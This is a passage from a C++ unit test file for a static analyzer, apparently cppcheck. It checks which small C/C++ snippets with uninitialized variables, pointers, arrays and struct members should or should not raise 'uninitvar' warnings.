0; i < 1; i++) {\\n\"\n \" if(x > 1)\\n\"\n \" value = 0;\\n\"\n \" }\\n\"\n \" printf(\\\"\\\", value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:13] -> [test.cpp:9:16]: (warning) Uninitialized variable: value [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" char value;\\n\"\n \" for(i = 0; i < 1; i++) {\\n\"\n \" if(x > 1)\\n\"\n \" value = 0;\\n\"\n \" else\\n\"\n \" value = 1;\\n\"\n \" }\\n\"\n \" printf(\\\"\\\", value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function pointers\n valueFlowUninit(\"int f (const struct FileFuncDefs *ffd) {\\n\" // #10279\n \" int c;\\n\"\n \" (*ffd->zread)(&c, 1);\\n\"\n \" return c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int foo(unsigned int code) {\\n\" // #10279\n \" int res;\\n\\n\"\n \" (* (utility_table[code])) (&res);\\n\"\n \" return (res);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct Archive {\\n\"\n \" bool isNull;\\n\"\n \" friend void operator&(const Archive &, bool &isNull);\\n\"\n \"};\\n\"\n \"void load(Archive& ar) {\\n\"\n \" bool isNull;\\n\"\n \" ar & isNull;\\n\"\n \" if (!isNull) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10119\n valueFlowUninit(\"struct Foo {\\n\"\n \" int i{};\\n\"\n \" static const float cf;\\n\"\n \"};\\n\"\n \"const float Foo::cf = 0.1f;\\n\"\n \"int bar() {\\n\"\n \" Foo f;\\n\"\n \" return f.i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10326\n valueFlowUninit(\"void foo() {\\n\"\n \" int cnt;\\n\"\n \" do {\\n\"\n \" cnt = 32 ;\\n\"\n \" }\\n\"\n \" while ( 0 ) ;\\n\"\n \" if (cnt != 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10327 - avoid extra warnings for uninitialized variable\n valueFlowUninit(\"void dowork( int me ) {\\n\"\n \" if ( me == 0 ) {}\\n\" // <- not uninitialized\n \"}\\n\"\n \"\\n\"\n \"int main() {\\n\"\n \" int me;\\n\"\n \" dowork(me);\\n\" // <- me is uninitialized\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:13]: (error) Uninitialized variable: me [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int foo() {\\n\"\n \" int x;\\n\"\n \" int a = x;\\n\" // <- x is uninitialized\n \" return a;\\n\" // <- a has been initialized\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n // #10468\n valueFlowUninit(\"uint32_t foo(uint32_t in) {\\n\"\n \" uint32_t out, mask = 0x7F;\\n\"\n \" while (mask ^ 0x7FFFFFFF)\\n\"\n \" out = in & ~mask;\\n\"\n \" return out;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6597\n valueFlowUninit(\"int f(int b) {\\n\"\n \" int a;\\n\"\n \" if (!b)\\n\"\n \" a = 1;\\n\"\n \" if (b)\\n\"\n \" return a;\\n\"\n \" else\\n\"\n \" return -1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:6:16]: (warning) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n // #9772\n valueFlowUninit(\"int func(void) {\\n\"\n \" int rez;\\n\"\n \" struct sccb* ccb;\\n\"\n \" do {\\n\"\n \" if ((ccb = calloc(1, sizeof(*ccb))) == NULL) {\\n\"\n \" rez = 1;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" rez = 0;\\n\"\n \" } while (0);\\n\"\n \" if (rez != 0)\\n\"\n \" free(ccb);\\n\"\n \" return rez;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10553\n valueFlowUninit(\"struct CharDataOnly {\\n\"\n \" char data[100];\\n\"\n \"};\\n\"\n \"CharDataOnly f() {\\n\"\n \" CharDataOnly testData;\\n\"\n \" strcpy(testData.data, \\\"string smaller than size\\\");\\n\"\n \" return testData;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10089\n valueFlowUninit(\"typedef union {\\n\"\n \" struct { int x; };\\n\"\n \" int v[1];\\n\"\n \"} U;\\n\"\n \"void init(int* d) {\\n\"\n \" *d = 42;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" U u;\\n\"\n \" init(u.v);\\n\"\n \" printf(\\\"%d\\\\n\\\", u.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10280\n valueFlowUninit(\"union U {\\n\"\n \" char c[2];\\n\"\n \" uint16_t u16;\\n\"\n \"};\\n\"\n \"uint16_t f(std::istream& is) {\\n\"\n \" U u;\\n\"\n \" is.read(u.c, 2);\\n\"\n \" return u.u16;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" char src, dest;\\n\"\n \" std::memcpy(&dest, &src, 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:22]: (error) Uninitialized variable: &src [uninitvar]\\n\", errout_str());\n\n // #10988\n valueFlowUninit(\"void f(const void* ptr, bool* result) {\\n\"\n \" int dummy;\\n\"\n \" *result = (&dummy < ptr);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A* p = &a;\\n\"\n \" p->x = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void g(const int&);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" g(a.x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (error) Uninitialized variable: a.x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"void g(const int&);\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" A* p = &a;\\n\"\n \" g(p->x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (error) Uninitialized variable: p->x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int a;\\n\"\n \" a++;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n // #11006\n valueFlowUninit(\"int g(int);\\n\"\n \"void f() {\\n\"\n \" int received[NSIG];\\n\"\n \" for (int sig = 0; sig < NSIG; sig++)\\n\"\n \" received[sig] = g(sig);\\n\"\n \" for (int sig = 0; sig < NSIG; sig++)\\n\"\n \" if (received[sig]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void increment(int& i) { ++i; }\\n\" // #6475\n \"int f() {\\n\"\n \" int n;\\n\"\n \" increment(n);\\n\"\n \" return n;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:15] -> [test.cpp:1:28]: (warning) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n // #11412\n valueFlowUninit(\"void f(int n) {\\n\"\n \"\tshort* p;\\n\"\n \"\tif (n) {\\n\"\n \"\t\tp = g(n);\\n\"\n \"\t}\\n\"\n \"\tfor (int i = 0; i < n; i++)\\n\"\n \"\t\t(void)p[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11492\n valueFlowUninit(\"void f() {\\n\"\n \" int i;\\n\"\n \" try {\\n\"\n \" i = 0;\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" if (i) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11624\n valueFlowUninit(\"const int N = 2;\\n\"\n \"void g(int a[N]) {\\n\"\n \" for (int i = 0; i < N; ++i)\\n\"\n \" a[i] = 1;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" int a[N];\\n\"\n \" g(a);\\n\"\n \" if (a[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11673\n valueFlowUninit(\"void f() {\\n\"\n \" bool b;\\n\"\n \" auto g = [&b]() {\\n\"\n \" b = true;\\n\"\n \" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6619\n valueFlowUninit(\"void f() {\\n\"\n \" int nok, i;\\n\"\n \" for (i = 1; i < 5; i++) {\\n\"\n \" if (i == 8)\\n\"\n \" nok = 8;\\n\"\n \" }\\n\"\n \" printf(\\\"nok = %d\\\\n\\\", nok);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:26]: (error) Uninitialized variable: nok [uninitvar]\\n\", errout_str());\n\n // #7475\n valueFlowUninit(\"struct S {\\n\"\n \" int a, b, c;\\n\"\n \"} typedef s_t;\\n\"\n \"void f() {\\n\"\n \" s_t s;\\n\"\n \" printf(\\\"%d\\\", s.a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:20]: (error) Uninitialized variable: s.a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(char* src) {\\n\" // #11608\n \" char envar[64], *cp, c;\\n\"\n \" for (src += 2, cp = envar; (c = *src) != '\\\\0'; src++)\\n\"\n \" *cp++ = c;\\n\"\n \" if (cp != envar)\\n\"\n \" if ((cp = getenv(envar)) != NULL) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11459\n valueFlowUninit(\"struct S {\\n\"\n \" enum E { N = 3 };\\n\"\n \" static const int A[N];\\n\"\n \" static void f();\\n\"\n \"};\\n\"\n \"const int S::A[N] = { 0, 1, 2 };\\n\"\n \"void S::f() {\\n\"\n \" int tmp[N];\\n\"\n \" for (int i = 0; i < N; i++)\\n\"\n \" tmp[i] = 0;\\n\"\n \" if (tmp[0]) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11055\n valueFlowUninit(\"void g(int*);\\n\"\n \"void f(bool b) {\\n\"\n \" int i;\\n\"\n \" int* p = b ? &i : nullptr;\\n\"\n \" g(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct T {};\\n\" // #11075\n \"struct S {\\n\"\n \" int n;\\n\"\n \" struct T t[10];\\n\"\n \"};\\n\"\n \"void f(struct S* s, char** tokens) {\\n\"\n \" struct T t[10];\\n\"\n \" int n = 0;\\n\"\n \" for (int i = 0; i < s->n; i++)\\n\"\n \" if (tokens[i])\\n\"\n \" t[n++] = s->t[i];\\n\"\n \" for (int i = 0; i < n; i++)\\n\"\n \" t[i];\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"bool g();\\n\"\n \"void f() {\\n\"\n \" int a[10];\\n\"\n \" int idx = 0;\\n\"\n \" if (g())\\n\"\n \" a[idx++] = 1;\\n\"\n \" for (int i = 0; i < idx; i++)\\n\"\n \" (void)a[i];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" int x;\\n\"\n \" int *p = 0 ? 0 : &x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void g() {\\n\"\n \" int y;\\n\"\n \" int *q = 1 ? &y : 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(std::stringstream& ss) {\\n\" // #11805\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" ss >> *p;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" int& r = *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(std::stringstream& ss) {\\n\" // #11805\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" ss >> *p;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" int& r = *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S1 { char a[10]; };\\n\" // #11804\n \"struct S2 { struct S1 s1; };\\n\"\n \"void init(char* c);\\n\"\n \"void f() {\\n\"\n \" struct S2 s2;\\n\"\n \" init(s2.s1.a);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int i; };\\n\" // #11731\n \"void f(const S*& p);\\n\"\n \"int g() {\\n\"\n \" const S* s;\\n\"\n \" f(s);\\n\"\n \" return s->i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"int f(int i) {\\n\"\n \" int x;\\n\"\n \" int* p = &x;\\n\"\n \" return i >> *p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Uninitialized variable: *p [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(int& x) {\\n\"\n \" int i;\\n\"\n \" x = i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Uninitialized variable: i [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #11890\n \" int x;\\n\"\n \" int* a[] = { &x };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11992\n valueFlowUninit(\"void foo(const int &x) {\\n\"\n \" if(x==42) {;}\\n\"\n \"}\\n\"\n \"void test(void) {\\n\"\n \" int t;\\n\"\n \" int &p = t;\\n\"\n \" int &s = p;\\n\"\n \" int &q = s;\\n\"\n \" foo(q);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (error) Uninitialized variable: q [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"int g();\\n\" // #12082\n \"void f() {\\n\"\n \" int a[1], b[1];\\n\"\n \" while (a[0] = g()) {}\\n\"\n \" if ((b[0] = g()) == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(const char *x, char *y);\\n\" // #4527\n \"void g(char* b) {\\n\"\n \" char a[1000];\\n\"\n \" f(a, b);\\n\"\n \" printf(\\\"%s\\\", a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: a [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void usage(const char *);\\n\" // #10330\n \"int main(int argc, char* argv[]) {\\n\"\n \" int user = 0;\\n\"\n \" struct passwd* pwd;\\n\"\n \" while (1) {\\n\"\n \" int c = getc();\\n\"\n \" if (c == -1)\\n\"\n \" break;\\n\"\n \" switch (c) {\\n\"\n \" case 'u': user = 123; break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" if (argc == 1)\\n\"\n \" usage(argv[0]);\\n\"\n \" if (user)\\n\"\n \" pwd = getpwnam(user);\\n\"\n \" if (pwd == NULL) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:9] -> [test.cpp:17:9]: (warning) Uninitialized variable: pwd [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"size_t Read(unsigned char* buffer, size_t len);\\n\" // #11540\n \"void f() {\\n\"\n \" const int N = 100;\\n\"\n \" uint8_t data[N];\\n\"\n \" size_t data_size = 0;\\n\"\n \" for (int i = 0; i < 10; i++) {\\n\"\n \" if (!data_size)\\n\"\n \" data_size = Read(data, N);\\n\"\n \" if (!data_size)\\n\"\n \" return;\\n\"\n \" if (data[0] == 0x47) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12033\n valueFlowUninit(\"void g(const char*p);\\n\"\n \"void f() {\\n\"\n \" char buf[10];\\n\"\n \" g(buf);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: buf [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // #12288\n \" char buf[100];\\n\"\n \" char* p = new (buf) char[100];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12355\n valueFlowUninit(\"int f() {\\n\"\n \" const int x[10](1, 2);\\n\"\n \" if (x[0] == 1) {}\\n\"\n \" return x[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(bool* p) {\\n\" // #12287\n \" if (p)\\n\"\n \" *p = true; \\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" bool b;\\n\"\n \" f(&b);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int x; };\\n\" // #12394\n \"int f() {\\n\"\n \" struct S s[1];\\n\"\n \" s->x = 0;\\n\"\n \" return s[0].x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct S { int* p; };\\n\" // #12473\n \"void f() {\\n\"\n \" struct S s;\\n\"\n \" s.p[0] = 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Uninitialized variable: s.p [uninitvar]\\n\", errout_str());\n\n // #12460\n valueFlowUninit(\"typedef struct {\\n\"\n \" int a;\\n\"\n \"} st;\\n\"\n \"void foo(int* p, bool success) {\\n\"\n \" st myst;\\n\"\n \" if (success == 1) {\\n\"\n \" myst.a = 5;\\n\"\n \" }\\n\"\n \" if ((success == 1) && (myst.a != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12606\n valueFlowUninit(\"void f(int& r) { if (r) {} }\\n\"\n \"void g() {\\n\"\n \" int i;\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7] -> [test.cpp:1:22]: (warning) Uninitialized variable: r [uninitvar]\\n\", errout_str());\n\n // #12197\n valueFlowUninit(\"void f() {\\n\"\n \" char a[N];\\n\"\n \" for (int i = 0; i < N; i++)\\n\"\n \" a[i] = 1;\\n\"\n \" const int* p = a;\\n\"\n \" for (int i = 0; i < N; i++) {\\n\"\n \" if (p[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12247\n valueFlowUninit(\"void f() {\\n\"\n \" char a[10], *p = &a[0];\\n\"\n \" p = getenv(\\\"abc\\\");\\n\"\n \" printf(\\\"%\\\", p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(char *q) {\\n\"\n \" char a[1];\\n\"\n \" char *p = a;\\n\"\n \" p = q;\\n\"\n \" printf(\\\"%s\\\", p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"std::string f() {\\n\" // #12922\n \" std::string a[2];\\n\"\n \" std::array b;\\n\"\n \" return a[1] + b.at(1);\\n\" // don't warn\n \"}\\n\"\n \"struct S { int i; };\\n\"\n \"struct T { int i = 0; };\\n\"\n \"int g() {\\n\"\n \" std::array a;\\n\"\n \" std::array b;\\n\"\n \" std::array c;\\n\" // don't warn\n \" return a.at(1) + b.at(1).i + c.at(1).i;\\n\"\n \"}\\n\"\n \"int h() {\\n\"\n \" std::array a;\\n\"\n \" return a[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:12:12]: (error) Uninitialized variable: a [uninitvar]\\n\"\n \"[test.cpp:12:22]: (error) Uninitialized variable: b [uninitvar]\\n\"\n \"[test.cpp:16:12]: (error) Uninitialized variable: a [uninitvar]\\n\",\n errout_str());\n\n valueFlowUninit(\"void f() {\\n\" // # 12932\n \" std::array a;\\n\"\n \" if (a.begin() == a.end()) {}\\n\"\n \" std::array b;\\n\"\n \" auto it = b.begin();\\n\"\n \" *it = 0;\\n\"\n \" std::array c;\\n\"\n \" return c.front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:12]: (error) Uninitialized variable: c [uninitvar]\\n\", errout_str());\n }\n\n void valueFlowUninitBreak() { // Do not show duplicate warnings about the same uninitialized value\n valueFlowUninit(\"struct wcsstruct {\\n\"\n \" int *wcsprm;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void copy_wcs(wcsstruct *wcsin) {\\n\"\n \" wcsstruct *x;\\n\"\n \" memcpy(wcsin, x, sizeof(wcsstruct));\\n\" // <- warning\n \" x->wcsprm = NULL;\\n\" // <- no warning\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:19]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct wcsstruct {\\n\"\n \" int *wcsprm;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void copy_wcs(wcsstruct *wcsin) {\\n\"\n \" wcsstruct *x;\\n\"\n \" sizeof(x);\\n\"\n \" x->wcsprm = NULL;\\n\" // <- Warn\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct wcsstruct {\\n\"\n \" int *wcsprm;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void init_wcs(wcsstruct *x) { if (x->wcsprm != NULL); }\\n\" // <- no warning\n \"\\n\"\n \"void copy_wcs() {\\n\"\n \" wcsstruct *x;\\n\"\n \" x->wcsprm = NULL;\\n\" // <- warn here\n \" init_wcs(x);\\n\" // <- no warning\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Uninitialized variable: x [uninitvar]\\n\", errout_str());\n }\n\n void uninitvar_ipa() {\n // #8825\n valueFlowUninit(\"typedef struct {\\n\"\n \" int flags;\\n\"\n \"} someType_t;\\n\"\n \"void bar(const someType_t * const p) {\\n\"\n \" if( (p->flags & 0xF000) == 0xF000){}\\n\"\n \"}\\n\"\n \"void f(void) {\\n\"\n \" someType_t gVar;\\n\"\n \" bar(&gVar);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (error) Uninitialized variable: &gVar [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"typedef struct\\n\"\n \"{\\n\"\n \" int flags[3];\\n\"\n \"} someType_t;\\n\"\n \"void f(void) {\\n\"\n \" someType_t gVar;\\n\"\n \" if(gVar.flags[1] == 42){}\\n\"\n \"}\");\n // TODO : find bugs for member arrays\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Uninitialized variable: gVar.flags\\n\", \"\", errout_str());\n\n valueFlowUninit(\"void foo() {\\n\" // #10293\n \" union {\\n\"\n \" struct hdr cm;\\n\"\n \" char control[123];\\n\"\n \" } u;\\n\"\n \" char *x = u.control;\\n\" // <- no error\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct pc_data {\\n\"\n \" struct {\\n\"\n \" char * strefa;\\n\"\n \" } wampiryzm;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" struct pc_data *pcdata;\\n\"\n \" if ( *pcdata->wampiryzm.strefa == '\\\\0' ) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11]: (error) Uninitialized variable: pcdata [uninitvar]\\n\", errout_str());\n\n // # 9293\n valueFlowUninit(\"struct S {\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct S s1;\\n\"\n \" int * x = &s1.x;\\n\"\n \" struct S s2 = {*x, 0};\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:20]: (error) Uninitialized variable: *x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"struct S {\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" struct S s1;\\n\"\n \" struct S s2;\\n\"\n \" int * x = &s1.x;\\n\"\n \" s2.x = *x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (error) Uninitialized variable: *x [uninitvar]\\n\", errout_str());\n\n valueFlowUninit(\"void f(bool * x) {\\n\"\n \" *x = false;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" bool b;\\n\"\n \" f(&b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f(bool * x) {\\n\"\n \" if (x != nullptr)\\n\"\n \" x = 1;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" bool x;\\n\"\n \" f(&x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"void f() {\\n\"\n \" bool b;\\n\"\n \" bool * x = &b;\\n\"\n \" if (x != nullptr)\\n\"\n \" x = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A { bool b; };\"\n \"void f(A * x) {\\n\"\n \" x->b = false;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" A b;\\n\"\n \" f(&b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"std::string f() {\\n\"\n \" std::ostringstream ostr;\\n\"\n \" ostr << \\\"\\\";\\n\"\n \" return ostr.str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // #9281\n valueFlowUninit(\"struct s {\\n\"\n \" char a[20];\\n\"\n \"};\\n\"\n \"void c(struct s *sarg) {\\n\"\n \" sarg->a[0] = '\\\\0';\\n\"\n \"}\\n\"\n \"void b(struct s *sarg) {\\n\"\n \" c(sarg);\\n\"\n \"}\\n\"\n \"void a() {\\n\"\n \" struct s s1;\\n\"\n \" b(&s1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9290\n valueFlowUninit(\"struct A {\\n\"\n \" double x;\\n\"\n \"};\\n\"\n \"double b() {\\n\"\n \" A * c;\\n\"\n \" c->x = 42;\\n\"\n \" return c->x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Uninitialized variable: c [uninitvar]\\n\",\n errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" double x;\\n\"\n \"};\\n\"\n \"double b() {\\n\"\n \" A c;\\n\"\n \" c.x = 42;\\n\"\n \" return c.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n valueFlowUninit(\"struct A {\\n\"\n \" double x;\\n\"\n \"};\\n\"\n \"double d(A * e) {\\n\"\n \" e->x = 42;\\n\"\n \" return e->x;\\n\"\n \"}\\n\"\n \"double b() {\\n\"\n \" A c;\\n\"\n \" return d(&c);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9302\n valueFlowUninit(\"struct VZ {\\n\"\n \" double typ;\\n\"\n \"};\\n\"\n \"void read() {\\n\"\n \" struct VZ vz;\\n\"\n \" struct VZ* pvz = &vz;\\n\"\n \" vz.typ = 42;\\n\"\n \" if (pvz->typ == 0)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9305\n valueFlowUninit(\"struct kf {\\n\"\n \" double x;\\n\"\n \"};\\n\"\n \"void set(kf* k) {\\n\"\n \" k->x = 0;\\n\"\n \"}\\n\"\n \"void cal() {\\n\"\n \" KF b;\\n\"\n \" KF* pb = &b;\\n\"\n \" set( pb);\\n\"\n \" if (pb->x)\\n\"\n \" return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9348\n valueFlowUninit(\"void f(int *a) {\\n\"\n \" int b = 0;\\n\"\n \" memcpy(a, &b, sizeof(b));\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" int i;\\n\"\n \" f(&i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9631\n valueFlowUninit(\"static void g(bool * result, int num, int num2, size_t * buflen) {\\n\"\n \" if (*result && *buflen >= 5) {}\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" size_t bytesCopied;\\n\"\n \" bool copied_all = true;\\n\"\n \" g(&copied_all, 5, 6, &bytesCopied);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:24] -> [test.cpp:2:18]: (warning) Uninitialized variable: *buflen [uninitvar]\\n\", errout_str());\n\n // # 9953\n valueFlowUninit(\"uint32_t f(uint8_t *mem) {\\n\"\n \" uint32_t u32;\\n\"\n \" uint8_t *buf = (uint8_t *)(&u32);\\n\"\n \" buf[0] = mem[0];\\n\"\n \" return(*(uint32_t *)buf);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void valueFlowUninitStructMembers()\n {\n valueFlowUninit(\"struct AB { int a; int b; };\\n\"\n \"void f(void) {\\n\"\n \" struct AB ab;\\n\"\n \" ab.a = 1;\\n\"\n \" if (ab.b == 2) {}\\n\"\n 